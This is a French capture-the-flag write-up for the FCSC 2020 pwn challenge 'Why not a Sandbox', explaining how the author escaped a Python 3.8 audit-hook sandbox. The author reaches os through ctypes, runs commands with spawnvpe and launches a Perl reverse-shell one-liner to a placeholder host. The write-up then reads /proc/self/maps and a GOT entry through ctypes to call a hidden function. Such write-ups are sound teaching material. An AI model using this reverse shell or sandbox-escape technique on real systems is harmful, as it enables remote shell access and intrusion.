FCSC2020 - Why Not a Sandbox

Dans la suite des articles sur ma participation à la FCSC 2020, voici mon write-up pour le challenge Why not a Sandbox, classé dans la section pwn.

Why not a Sandbox?

Énoncé

Votre but est d’appeler la fonction print_flag pour afficher le flag.

Service : nc challenges1.france-cybersecurity-challenge.fr 4005

Write-up

En se connectant à la socket, on a accès à un interpréteur python3.8. Après quelques manipulation, on se rends compte qu’on est filtré:

>>> open('/etc/passwd')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
Exception: Action interdite

>>> import os
Exception ignored in audit hook:
Exception: Action interdite
Exception: Module non autorisé
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
Exception: Action interdite

Pas possible d’importer le module os, mais on arrive à importer sys.

Cherchons ce qu’il y a dans sys. Pas grand chose d’intéressant, on récupère des informations sur le système :

>>> sys.platform
'linux'
>>> sys.version
'3.8.2 (default, Apr  1 2020, 15:52:55) \n[GCC 9.3.0]'
>>> sys.version_info
sys.version_info(major=3, minor=8, micro=2, releaselevel='final', serial=0)

On fouille, mais on a rien pas de symbole print_flag. Et si il était dans le garbage collector?

>>> import gc
Exception ignored in audit hook:
Exception: Action interdite
Exception: Module non autorisé
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
Exception: Action interdite

Bon, on voit que c’est les audits hooks qui nous filtrent. En se documentant, on apprend que c’est une nouveauté dans python3.8. Il y a toute une documentation intéressante dessus PEP578, et quelqu’un a fait un article sur comment le bypass sur Windows 10.

Bon, trouver une façon de bypass audit c’est quasiment une 0-day, donc on doit pas faire ça je pense. Du coup, comment faire ?

EDIT: En lisant les write-up d’autres participants, certains on réussis à bypass audit.

On se rend compte qu’on peut importer le module ctypes qui est une interface aux librairies partagées de l’interpréteur. Et devinez quoi ? On a trouvé notre module os bien caché dans ctypes._os.

Avec ça, on va pouvoir faire pleins de trucs :

>>> import ctypes
>>> ctypes._os.environ
environ({'HOSTNAME': 'whynotasandbox', 'HOME': '/home/ctf', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'PWD': '/app', 'SOCAT_PID': '15793', 'SOCAT_PPID': '6', 'SOCAT_VERSION': '1.7.3.4', 'SOCAT_SOCKADDR': '10.0.25.25', 'SOCAT_SOCKPORT': '4000', 'SOCAT_PEERADDR': '10.0.25.4', 'SOCAT_PEERPORT': '44430', 'LC_CTYPE': 'C.UTF-8'})

>>> ctypes._os.execve('/bin/ls', ['/bin/ls'], ctypes._os.environ)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
Exception: Action interdite

>>> ctypes._os.system('ls')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
Exception: Action interdite

Ah zut. On est encore filtré. Mais on a apprit quelque chose, il y a la commande socat. Bon cherchons une autre façon. On regardant, il y a pleins de fonctions pour faire des appels de processus dans os, tous sont filtrés sauf os.execvpe et os.spawnvpe. À la différence, os.execvpe va nous faire perdre notre connexion car il n’y a pas de retour du processus.

On sait du coup qu’on peut exécuter une commande :

>>> ctypes._os.spawnvpe(0, 'ls', ['ls'], ctypes._os.environ) # Le 0 correspond à la constante : os.P_WAIT
lib_flag.so  spython
0

Bon, du coup grâce à notre exec de commande, on va se faire un reverse shell, en cherchant des commandes possibles:

>>> os = ctypes._os
>>> os.spawnvpe(0, 'which', ['which', 'python'], os.environ)
1 # la commande which n'existe pas

>>> os.spawnvpe(0, 'perl', ['perl', '-e', 'print("A")'], os.environ)
A0 # La commande perl existe !!

Maintenant, on cherche les façons de faire un reverse shell sur https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/ :

>>> os.spawnvpe(0, 'perl', ['perl', '-e', 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'], os.environ)

Avec notre reverse shell, on regarde les informations :

$ nc -lvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from ns3149512.ip-51-91-19.eu 38760 received!
/bin/sh: 0: can't access tty; job control turned off

$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)

$ ls -al
total 40
drwxr-xr-x 1 root     root  4096 Apr 25 20:58 .
drwxr-xr-x 1 root     root  4096 Apr 25 20:59 ..
-r-------- 1 ctf-init ctf  16064 Apr 25 20:58 lib_flag.so
-r-sr-x--- 1 ctf-init ctf  14904 Apr 25 20:58 spython

$ ldd spython
	linux-vdso.so.1 (0x00007fffffd13000)
	libpython3.8.so.1.0 => /usr/lib/x86_64-linux-gnu/libpython3.8.so.1.0 (0x00007fe6f1e78000)
	lib_flag.so => not found
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe6f1cb5000)
	libexpat.so.1 => /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007fe6f1c88000)
	libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fe6f1a6e000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe6f1a4d000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe6f1a46000)
	libutil.so.1 => /lib/x86_64-linux-gnu/libutil.so.1 (0x00007fe6f1a41000)
	libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fe6f18fc000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fe6f23cf000)

Bon, on a un shared object lib_flag.so. Au début je pensais qu’il fallait trouver une façon de la charger. C'était une très très mauvaise piste, j’ai perdu tellement de temps à ça. Du coup, j’ai reccupéré ce que je pouvais reccupérer. Grâce à la commande socat on peut copier des fichiers, lisez ce qu’il y a là https://gtfobins.github.io/gtfobins/socat/.

Bon, on a récupéré du coup spython. Je vous passe la partie où j’ai essayé de dissas mais que c’est une perte de temps. Du coup, la solution était de regarder dans la GOT. On regarde les fonctions chargées dynamiquement :

$ objdump -R spython


spython:     format de fichier elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000003da8 R_X86_64_RELATIVE  *ABS*+0x0000000000001360
0000000000003db0 R_X86_64_RELATIVE  *ABS*+0x0000000000001320
00000000000040c8 R_X86_64_RELATIVE  *ABS*+0x00000000000040c8
00000000000040d0 R_X86_64_RELATIVE  *ABS*+0x000000000000202e
00000000000040e0 R_X86_64_RELATIVE  *ABS*+0x0000000000002042
00000000000040e8 R_X86_64_RELATIVE  *ABS*+0x00000000000021a0
0000000000004100 R_X86_64_RELATIVE  *ABS*+0x0000000000002060
0000000000004108 R_X86_64_RELATIVE  *ABS*+0x00000000000015d0
0000000000004110 R_X86_64_RELATIVE  *ABS*+0x0000000000002067
0000000000004120 R_X86_64_RELATIVE  *ABS*+0x0000000000002078
0000000000004130 R_X86_64_RELATIVE  *ABS*+0x000000000000208d
0000000000004140 R_X86_64_RELATIVE  *ABS*+0x000000000000209a
0000000000004150 R_X86_64_RELATIVE  *ABS*+0x00000000000020ae
0000000000004160 R_X86_64_RELATIVE  *ABS*+0x00000000000020ca
0000000000004170 R_X86_64_RELATIVE  *ABS*+0x00000000000020e7
0000000000004178 R_X86_64_RELATIVE  *ABS*+0x0000000000001680
0000000000004180 R_X86_64_RELATIVE  *ABS*+0x00000000000020f5
0000000000004188 R_X86_64_RELATIVE  *ABS*+0x0000000000001720
0000000000004190 R_X86_64_RELATIVE  *ABS*+0x0000000000002102
0000000000004198 R_X86_64_RELATIVE  *ABS*+0x0000000000001720
00000000000041a0 R_X86_64_RELATIVE  *ABS*+0x0000000000002116
00000000000041b0 R_X86_64_RELATIVE  *ABS*+0x0000000000002127
00000000000041c0 R_X86_64_RELATIVE  *ABS*+0x000000000000213d
00000000000041d0 R_X86_64_RELATIVE  *ABS*+0x0000000000002152
00000000000041e0 R_X86_64_RELATIVE  *ABS*+0x0000000000002163
00000000000041f0 R_X86_64_RELATIVE  *ABS*+0x0000000000002179
0000000000004200 R_X86_64_RELATIVE  *ABS*+0x000000000000218a
0000000000003fc8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000003fd0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000003fd8 R_X86_64_GLOB_DAT  PyExc_Exception
0000000000003fe0 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable
0000000000003fe8 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable
0000000000003ff0 R_X86_64_GLOB_DAT  __cxa_finalize@GLIBC_2.2.5
0000000000003ff8 R_X86_64_GLOB_DAT  _Py_NoneStruct
0000000000004018 R_X86_64_JUMP_SLOT  strncmp@GLIBC_2.2.5
0000000000004020 R_X86_64_JUMP_SLOT  PyUnicode_CompareWithASCIIString
0000000000004028 R_X86_64_JUMP_SLOT  geteuid@GLIBC_2.2.5
0000000000004030 R_X86_64_JUMP_SLOT  setuid@GLIBC_2.2.5
0000000000004038 R_X86_64_JUMP_SLOT  PyErr_Occurred
0000000000004040 R_X86_64_JUMP_SLOT  strlen@GLIBC_2.2.5
0000000000004048 R_X86_64_JUMP_SLOT  PySys_AddAuditHook
0000000000004050 R_X86_64_JUMP_SLOT  PyThreadState_Get
0000000000004058 R_X86_64_JUMP_SLOT  Py_BytesMain
0000000000004060 R_X86_64_JUMP_SLOT  strcmp@GLIBC_2.2.5
0000000000004068 R_X86_64_JUMP_SLOT  setreuid@GLIBC_2.2.5
0000000000004070 R_X86_64_JUMP_SLOT  PyErr_Print
0000000000004078 R_X86_64_JUMP_SLOT  getuid@GLIBC_2.2.5
0000000000004080 R_X86_64_JUMP_SLOT  _Py_Dealloc
0000000000004088 R_X86_64_JUMP_SLOT  PyTuple_GetItem
0000000000004090 R_X86_64_JUMP_SLOT  PyErr_SetString
0000000000004098 R_X86_64_JUMP_SLOT  welcome <-- Lui c'est intéressant
00000000000040a0 R_X86_64_JUMP_SLOT  PyUnicode_AsUTF8
00000000000040a8 R_X86_64_JUMP_SLOT  Py_IsInitialized

On voit apparaître la fonction welcome qui est chargée dynamiquement et dont l’adresse est 0x4098 (par rapport à un binaire chargé à 0x0)

Bon, pour ceux qui savent pas comment marche la section GOT et PLT, il y a quelques articles assez vieux mais très sympas :

Bref, du coup, on part de la supposition que la fonction welcome et print_flag sont dans le shared object lib_flag.so. Vu qu’ici on a un appel de la fonction welcome ( c’est le message d’accueil pour nous dire d’appeler print_flag ).

Lors du premier appel, on a la résolution de l’adresse réelle de welcome dans la GOT. Du coup, on peut reccupérer directement un pointeur sur cette adresse et lisant la valeur pointée.

Bon, du coup, faut trouver l’adresse de base de notre spython. Et oui, le problème c’est que l’adresse 0x4098 est juste un offset dans la librairie. Bon on cherchant sur le net, j’ai rien. Grâce à mon expérience sur volatility, j’ai appris que le mapping mémoire est écris dans /proc/PID/maps.

Du coup, depuis mon reverse shell, j’essaye de déterminer le PID de mon spython. Déjà j’ai listé tous les potentiels PID, qui sera forcément un nombre :

$ ls /proc/ |grep -e '[0-9]*' -o
1
13693
13710
13711
6

Bon maintenant comment on détermine lequel c’est. Grâce à une lecture de man proc ( très intéressant je vous le conseil en lecture du soir), on découvre que le nom du processus est dans /proc/PIC/comm. Du coup, on cat chacun des fichiers un par un jusqu'à trouver notre spython.

Malheureusement, on peut pas ouvrir le fichier maps depuis notre reverse shell. Pour des raisons de sécurité, un processus ne peut pas lire le fichier maps d’un autre processus. Du coup, faut que depuis le spython, on ouvre le fichier, et qu’on le lise. Bon, on s’en fou de notre pid, le kernel va résoudre le path /proc/self/ vers le bon dossier pour le processus qui fait l’appel :)

Mais on a vu que la commande open est filtrée. Zut, du coup on cherche. Il y a os.open sinon, mais pareil, c’est filtré. Quand on y réfléchis, ctypes représente un module qui fait le lien entre le python, et les librairies, y compris la libc. Donc on peut ouvrir depuis cette dernière. Et si c'était pas filtré ?

>>> import ctypes
>>> ctypes.pythonapi
<PyDLL 'None', handle 7fa3ffb7c190 at 0x7fa3fedae100>
>>> ctypes.pythonapi.open 
<_FuncPtr object at 0x7fa3fefb9dc0>

J’ai pas mal galéré à cette étape avant de comprendre comment fonctionne les types avec ctypes. En fait, si je donne directement une chaîne de caractères à ctypes.pythonapi.open il va l’interpréter en tant que pointeur, donc tu vas pas open ce que tu crois :p.

Bon, du coup, voici comment j’ai open le fichier :

filename = ctypes.c_char_p(b'/proc/self/maps')
fd = ctypes.pythonapi.open(filename, 0)

À ce moment, dans fd on a un file descriptor sur notre fichier :). Bon vu que je suis nul pour read en C, j’ai préféré passer par le python. T’as une fonction qui s’appelle os.fdopen qui prends un file descriptor et le “re-ouvre”. Et j’ai découvert que c’est pas filtré :p .

Bref, du coup on peut afficher tout notre fichier :

>>> os.fdopen(fd).read()
'5564bba50000-5564bba51000 r--p 00000000 09:03 14549288   /app/spython
5564bba51000-5564bba52000 r-xp 00001000 09:03 14549288   /app/spython
5564bba52000-5564bba53000 r--p 00002000 09:03 14549288   /app/spython
5564bba53000-5564bba54000 r--p 00002000 09:03 14549288   /app/spython
5564bba54000-5564bba55000 rw-p 00003000 09:03 14549288   /app/spython
.... <-- je vais pas tout mettre
'

note : C’est là que j’ai découvert que l’adresse de notre processus change entre deux ouvertures de connexion, de l’ASLR donc. J’ai découvert ça en découvrant le timeout du challenge..

Du coup, à partir de là, j’ai automatisé cela avec un script. Je préfère tout faire automatiquement sinon le timeout va me tuer encore.

Bon. Où on en était ? Ah oui, donc on l’adresse de notre entrée dans la GOT (0x4098), on peut reccupérer l’adresse de base de notre mémoire via notre open et read du fichier /proc/self/maps. Du coup, on peut récupérer en live l’adresse de notre fonction après résolution :

>>> import ctypes
>>> os = ctypes._os
>>> filename = ctypes.c_char_p(b'/proc/self/maps')
>>> fd = ctypes.pythonapi.open(filename, 0) # On récupère que l'adresse de base
>>> base_addr = os.fdopen(fd).read(12) # La première adresse
>>> welcome_got = int(base_addr, 16) + int('0000000000004098', 16) # L'adresse de l'entrée dans la got

Bon maintenant il faut créer un pointeur sur quelque chose. Heureusement pour nous le module ctypes est fait pour ça :

>>> ptrtype = ctypes.POINTER(ctypes.c_void_p) # un pointeur sur void

Maintenant on peut caster notre adresse welcome_got en pointeur:

>>> gotptr = ctypes.cast(welcome_got, ptrtype) # cast du feu
>>> welcome_addr = gotptr.contents.value

Maintenant on a l’adresse de welcome : le déréférencement se fait via .contents, et ensuite le .value permet de l’avoir en tant qu’un int.

STEP 1 : Réussi ! :D

Bon, maintenant on va pleurer un bon coup. Parce que c’est cool d’avoir l’adresse réelle de cette fonction. Mais on sait pas où est la fonction print_flag par rapport à elle.

Vous avez finis de pleurer ? Bien. On m’a dit de le faire en tâtonnant, mais j’ai trouvé la bonne méthode sympathique. Un poil violente, mais au moins elle marche. On va créer un pointeur pour afficher la mémoire bytes par bytes depuis le début de la fonction welcome, et on va les concaténer et mettre cette chaîne dans un décompilateur.

J’ai trouvé un décompilateur en ligne. Ensuite, on va commencer par créer un type de pointeur :

>>> ptrtype = ctypes.POINTER(ctypes.c_ubyte*100)

C’est un pointeur sur un tableau de byte non signé ( parce que sinon t’as des -0x15 et c’est chiant ). J’ai pris une taille de 100 pour commencer.

Bon, maintenant on va caster notre adresse welcome_addr en ce nouveau type de pointeur :

p = ctypes.cast(welcome_addr, ptrtype)

Maintenant p.contents est un tableau d’entier ^^. Mais on veut les garder en hexa, et concaténés, donc :

>>> ''.join([hex(x)[2:] for x in p.contents])
554889e5488d3de0e00e8bffffff905dc3554889e54883ec5048b8c5c0d0c0f8b6b6b548bab5b3e6b6e0bae6b3488945b0488955b848b8b7bbe7babbbbbab248bab4e6b1bab1b1e6e1488945c0488955c848b8b2b2b0b3b3b5b0e648bae1e0b2b3b0

On va donner ça à notre désassembleur en ligne :

0:  55                      push   rbp
1:  48 89 e5                mov    rbp,rsp
4:  48 8d 3d e0 e0 0e 8b    lea    rdi,[rip+0xffffffff8b0ee0e0]        # 0xffffffff8b0ee0eb
b:  ff                      (bad)
c:  ff                      (bad)
d:  ff 90 5d c3 55 48       call   QWORD PTR [rax+0x4855c35d]
13: 89 e5                   mov    ebp,esp
15: 48 83 ec 50             sub    rsp,0x50
19: 48 b8 c5 c0 d0 c0 f8    movabs rax,0xb5b6b6f8c0d0c0c5
20: b6 b6 b5
23: 48 ba b5 b3 e6 b6 e0    movabs rdx,0xb3e6bae0b6e6b3b5
2a: ba e6 b3
2d: 48 89 45 b0             mov    QWORD PTR [rbp-0x50],rax
31: 48 89 55 b8             mov    QWORD PTR [rbp-0x48],rdx
35: 48 b8 b7 bb e7 ba bb    movabs rax,0xb2babbbbbae7bbb7
3c: bb ba b2
3f: 48 ba b4 e6 b1 ba b1    movabs rdx,0xe1e6b1b1bab1e6b4
46: b1 e6 e1
49: 48 89 45 c0             mov    QWORD PTR [rbp-0x40],rax
4d: 48 89 55 c8             mov    QWORD PTR [rbp-0x38],rdx
51: 48 b8 b2 b2 b0 b3 b3    movabs rax,0xe6b0b5b3b3b0b2b2
58: b5 b0 e6
5b: 48                      rex.W
5c: ba e1 e0 b2 b3          mov    edx,0xb3b2e0e1
61: b0                      .byte 0xb0 

Si vous êtes un peu habitués à lire ce genre de choses on peut voir que le début a bien l’air d’un début de fonctions : la sauvegarde de la frame pré

0:  55                      push   rbp 
1:  48 89 e5                mov    rbp,rsp

Sauf qu’on retrouve ce genre de choses un peu plus bas :

13: 89 e5                   mov    ebp,esp
15: 48 83 ec 50             sub    rsp,0x50

Bon, du coup, ça a l’air d'être une nouvelle sauvegarde de frame, et une déclaration de variables locales ça ^^. Du coup, on peut supposer que print_flag = welcome + 0x13.

Bon du coup, on va reprendre notre interpréteur python

>>> show_flag_addr = welcome_addr+19 # 0x13 = 19

Faut maintenant convertir cette adresse en fonction. ctypes a tout prévu ;).

Le type ctypes.CFUNCTYPE prends en argument dans l’ordre le type de retour, et les arguments. Bon on a pas d’argument, du moins, on dirait pas au vu du nom de la fonction print_flag. Donc on déclare notre type de fonction :

>>> functype = ctypes.CFUNCTYPE(ctypes.c_uint64)
>>> f = functype(show_flag_addr)

>>> f()
 super flag: FCSC{********************************************}